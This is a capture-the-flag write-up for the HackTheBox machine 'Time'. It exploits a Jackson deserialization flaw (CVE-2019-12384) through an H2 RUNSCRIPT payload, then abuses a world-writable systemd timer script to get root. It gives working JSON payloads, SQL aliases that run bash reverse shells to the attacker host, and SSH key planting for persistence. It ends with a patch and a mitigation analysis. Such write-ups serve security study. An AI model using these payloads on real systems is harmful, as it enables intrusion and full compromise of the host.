Time from HackTheBox features a web application that provides JSON beautifier and validator services. Inserting some invalid inputs exposes the application’s error message, indicating it uses the Jackson library. Searching for the error message on Google leads to a post about deserialization attack on Jackson. The attack is then reproduced to gain initial access. Enumerating on the system discovers a timer script that is executed by root every 10 seconds. The script is world-writable, allowing me to inject a malicious code and obtain a root shell.
Skills Learned
- Deserialization Attack on Jackson (CVE-2019-12384)
- Exploiting Systemd timers
- Mitigation of CVE-2019-12384
Tools
- Kali Linux (Attacking Machine) - https://www.kali.org/
- Nmap - Preinstalled in Kali Linux
Reconnaissance
Nmap
nmap
discovers two open ports: SSH on port 22, and a HTTP web server on port 80.
→ root@kali «time» «10.10.14.19»
$ mkdir nmap; nmap -sC -sV -oA nmap/10-initial-time 10.10.10.214
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-08 07:29 EDT
Nmap scan report for 10.10.10.214
Host is up (0.069s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.18 seconds
Enumeration
TCP 80 - Website
Visiting port 80 shows a website called “Online JSON Beautifier & Validator”.
Clicking on the drop down menu, it provides two options: “Beautify” and “Validate (beta!)”.
Testing Inputs
I submitted {"test": "iamf"}
to the input box and clicked the “Process” button. As expected, the beautify option just a JSON beautifier like jq.
I submitted the same input on “Validate (beta!)”, but this time it returns the following error.
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
I found this site while searching for the error message on Google. It turned out it wanted an array input, so I copied the sample input from that site and pasted it to the validator.
[
"org.baeldung.jackson.inheritance.Truck",
{ "make": "Isuzu", "model": "NQR","payloadCapacity": 7500.0 }
]
And now it returns a different error message.
And that’s because it probably can’t find org.baeldung.jackson.inheritance.Truck
since I made it up.
Finding Vulnerability
I might be able to inject the “org.baeldung.jackson.inheritance.Truck
” with a java gadget class for deserialization attack, and after searching around about deserialization topics on Jackson, I found this two blog posts about Jackson RCE:
- Exploiting the Jackson RCE: CVE-2017-7525 - Adam Caudill
- Jackson gadgets - Anatomy of a vulnerability · Doyensec’s Blog
However, the post on Doyensec’s blog is newer (2019 vs 2017), so I dig into that blog. The researcher on that blog uses ch.qos.logback.core.db.DriverManagerConnectionSource
as his gadget class, leveraging the alias feature from the H2 database to execute arbitrary code. This research is classified as CVE-2019-12384.
Below is the example payload used.
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}]
Foothold
Shell as pericles
Exploiting Jackson CVE-2019-12384
I will use the research from Doyensec’s blog above as my reference.
First, I will create a copy of the inject.sql
file that is used by the researcher. I will also setup a Python web server to host the SQL file and a netcat listener to catch the request.
inject.sql
:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('id > /dev/tcp/10.10.14.19/9000')
Now I’ll use the following JSON payload and submit it to the validator.
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.19/inject.sql'"}]
Within a few seconds, my Python web server receives a request for inject.sql
, and my listener captures the output of the id
command.
Knowing this, I can weaponize the inject.sql
file to send myself a shell, and then perform the same procedure as above.
Reverse Shell
Now with the following inject.sql
,
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.19/9000 0>&1')
I can obtain an interactive shell.
→ root@kali «time» «10.10.14.19»
$ nc -nvlp 9000
listening on [any] 9000 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.214] 42496
bash: cannot set terminal process group (944): Inappropriate ioctl for device
bash: no job control in this shell
pericles@time:/var/www/html$
Upgrade to SSH
With current access, I can put my public key to the authorized_keys
file.
pericles@time:/home/pericles$ mkdir .ssh
pericles@time:/home/pericles$
pericles@time:/home/pericles$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPmWTx2r3W2mHnCnKmoJCnkrj6mXxSIGq3E5ks1g+moK' > .ssh/authorized_keys
Now I can login as pericles
with my SSH private key.
→ root@kali «time» «10.10.14.19»
$ ssh pericles@10.10.10.214
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64)
...[SNIP]...
System load: 0.0
Usage of /: 21.2% of 27.43GB
Memory usage: 16%
Swap usage: 0%
Processes: 235
Users logged in: 0
IPv4 address for ens160: 10.10.10.214
IPv6 address for ens160: dead:beef::250:56ff:feb9:a553
...[SNIP]...
Last login: Fri Oct 23 09:19:19 2020 from 10.10.14.5
pericles@time:~$ id
uid=1000(pericles) gid=1000(pericles) groups=1000(pericles)
Privilege Escalation
Shell as root
Internal Enumeration
While searching for files owned by pericles
, I spotted a script called timer_backup.sh
.
pericles@time:~$ find / -type f -user pericles 2>/dev/null |grep -v 'proc\|sys'
/usr/bin/timer_backup.sh
/dev/shm/payloadds9LXy
/home/pericles/.gnupg/trustdb.gpg
/home/pericles/.gnupg/pubring.kbx
/home/pericles/.bashrc
...[SNIP]...
The script is backing up the web directory to the root directory. Furthermore, the script is writable by others.
pericles@time:~$ cat /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
pericles@time:~$ ls -l /usr/bin/timer_backup.sh
-rwxrw-rw- 1 pericles pericles 88 Apr 10 21:05 /usr/bin/timer_backup.sh
I searched other file related to the script, and found out there is a timer owned by root.
pericles@time:~$ find / -type f -name "timer_backup*" -ls 2>/dev/null
795750 4 -rw-r--r-- 1 root root 214 Oct 23 06:46 /etc/systemd/system/timer_backup.timer
787186 4 -rw-r--r-- 1 root root 159 Oct 23 05:59 /etc/systemd/system/timer_backup.service
1317302 4 -rwxrw-rw- 1 pericles pericles 88 Apr 10 21:10 /usr/bin/timer_backup.sh
timer_backup.timer
requires timer_backup.service
,
pericles@time:~$ cat /etc/systemd/system/timer_backup.timer
[Unit]
Description=Backup of the website
Requires=timer_backup.service
[Timer]
Unit=timer_backup.service
#OnBootSec=10s
#OnUnitActiveSec=10s
OnUnitInactiveSec=10s
AccuracySec=1ms
[Install]
WantedBy=timers.target
and what timer_backup.service
doing is it restarts web_backup.service
.
pericles@time:~$ cat /etc/systemd/system/timer_backup.service
[Unit]
Description=Calls website backup
Wants=timer_backup.timer
WantedBy=multi-user.target
[Service]
ExecStart=/usr/bin/systemctl restart web_backup.service
web_backup.service
executes the timer_backup.sh
script which is owned by pericles
.
pericles@time:~$ cat /etc/systemd/system/web_backup.service
[Unit]
Description=Creates backups of the website
[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh
Exploiting timer_backup.sh
With writable access, I can put a bash
reverse shell in timer_backup.sh
, and then setup a nc
listener.
pericles@time:~$ echo 'bash -i >& /dev/tcp/10.10.14.19/9002 0>&1' >> /usr/bin/timer_backup.sh
pericles@time:~$
pericles@time:~$ cat /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
bash -i >& /dev/tcp/10.10.14.72/9002 0>&1
Within a few seconds, I have a root shell on my listener, but the problem is that shell is somehow exited by itself.
→ root@kali «time» «10.10.14.19»
$ rlwrap nc -nvlp 9002
listening on [any] 9002 ...
connect to [10.10.14.72] from (UNKNOWN) [10.10.10.214] 57648
bash: cannot set terminal process group (411032): Inappropriate ioctl for device
bash: no job control in this shell
root@time:/#
root@time:/# exit
So I repeated the steps, but this time, I immediately injected my public key to the root’s authorized_keys
file.
→ root@kali «time» «10.10.14.19»
$ nc -nvlp 9002
listening on [any] 9002 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.214] 34182
bash: cannot set terminal process group (65312): Inappropriate ioctl for device
bash: no job control in this shell
root@time:/# echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPmWTx2r3W2mHnCnKmoJCnkrj6mXxSIGq3E5ks1g+moK' > /root/.ssh/authorized_keys
<rj6mXxSIGq3E5ks1g+moK' > /root/.ssh/authorized_keys
root@time:/# exit
After that, I can login as root via SSH.
→ root@kali «time» «10.10.14.19»
$ ssh root@10.10.10.214
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64)
...[SNIP]...
System load: 0.0
Usage of /: 21.2% of 27.43GB
Memory usage: 16%
Swap usage: 0%
Processes: 235
Users logged in: 0
IPv4 address for ens160: 10.10.10.214
IPv6 address for ens160: dead:beef::250:56ff:feb9:a553
...[SNIP]...
Last login: Tue Feb 9 14:41:33 2021
root@time:~# id
uid=0(root) gid=0(root) groups=0(root)
root@time:~# cut -c-16 root.txt
27375f967f43232f
Explore
In this section, I’ll take a look into the vulnerable code that allows me to gain a remote code execution and try to patch it.
CVE-2019-12384
Causes
According to this site, in order to successfully exploit a Jackson deserialization vulnerability several conditions must be met.
The first condition is fulfilled by the index.php
file (/var/www/html/index.php
). I have control on the user input.
<?php
if(isset($_POST['data'])){
if(isset($_POST['mode']) && $_POST['mode'] === "2"){
$filename = tempnam("/dev/shm", "payload");
$myfile = fopen($filename, "w") or die("Unable to open file!");
$txt = $_POST['data']; // Condition #1, $txt controlled by user. no filter
fwrite($myfile, $txt);
fclose($myfile);
exec("/usr/bin/jruby /opt/json_project/parse.rb $filename 2>&1", $cmdout, $ret);
unlink($filename);
if($ret === 0){
$output = '<pre>Validation successful!</pre>';
}
else{
$output = '<pre>Validation failed: ' . $cmdout[1] . '</pre>';
}
}
else{
$json_ugly = $_POST['data'];
$json_pretty = json_encode(json_decode($json_ugly), JSON_PRETTY_PRINT);
$output = '<pre>'.$json_pretty.'</pre>';
}
}
?>
...[SNIP]...
The second condition fulfilled by the parser itself (/opt/json_project/parse.rb
). It uses “Default typing”.
require 'java'
Dir["/opt/json_project/classpath/*.jar"].each do |f|
require f
end
java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'
f = File.read(ARGV[0])
content = f
puts content
mapper = ObjectMapper.new
mapper.enableDefaultTyping() # Condition #2, the uses of "default typing".
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the setters
puts "stringified: " + mapper.writeValueAsString(obj)
The third condition is fulfilled by logback-core-1.3.0-alpha5.jar
as the gadget class and h2–1.4.199.jar
for the RCE capability. According to this blog, the H2 database alias feature can be abused. The researcher of CVE-2019–12384 abuses the alias feature to embed Java code.
root@time:/opt/json_project# grep -Ri version
Binary file classpath/h2-1.4.199.jar matches
Binary file classpath/jackson-databind-2.9.8.jar matches
Binary file classpath/logback-core-1.3.0-alpha5.jar matches
Binary file classpath/jackson-core-2.9.8.jar matches
Mitigation
To mitigate this RCE, I’ll put the new mapper function on parse.rb
:
require 'java'
Dir["/opt/json_project/classpath/*.jar"].each do |f|
require f
end
java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'
java_import 'com.fasterxml.jackson.databind.MapperFeature' # ==> Mitigation v2.11
f = File.read(ARGV[0])
content = f
puts content
mapper = ObjectMapper.new
mapper.activateDefaultTyping() # ==> Mitigation v2.10, enableDefaultTyping() to activateDefaultTyping()
mapper.configure(MapperFeature::BLOCK_UNSAFE_POLYMORPHIC_BASE_TYPES); # ==> Mitigation v2.11
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the setters
puts "stringified: " + mapper.writeValueAsString(obj)
I also write a dirty script to patch it as well as to revert the patch, so I can perform a quick test. The script is supposed to be executed from Time. The updated parser and the newer version of Jackson are hosted from my machine.
#!/bin/bash
# ./time.sh patch [ip]
project_path="/opt/json_project/"
new_jackson="jackson-core-2.11.0.jar"
old_jackson="jackson-core-2.9.8.jar"
if [ "$1" == "patch" ]; then
# backup the original code
mkdir -p /dev/shm/orig/
mv $project_path"classpath/"$old_jackson /dev/shm/orig/
mv $project_path"parse.rb" /dev/shm/orig/
# These file hosted from my machine
curl -s "http://$2/$new_jackson" > /tmp/$new_jackson
curl -s "http://$2/parse.rb" > /tmp/parse.rb
# move the updated parser and jackson
cp /tmp/$new_jackson $project_path"classpath/"$new_jackson
cp /tmp/parse.rb "$project_path"
chmod +x $project_path"parse.rb"
elif [ "$1" == "restore" ]; then
rm $project_path"classpath/"$new_jackson
rm $project_path"parse.rb"
mv "/dev/shm/orig/$old_jackson" $project_path"classpath/"
mv "/dev/shm/orig/parse.rb" $project_path
rm /tmp/$new_jackson
rm /tmp/parse.rb
rm -r /dev/shm/orig/
fi
I tried exploiting the validator again by reproducing the same steps as in the Foothold section, but this time my reverse shell didn’t connect back, instead I got this message.
Validation failed: WARNING: An illegal reflective access operation has occurred
Well, it is working, isn’t it?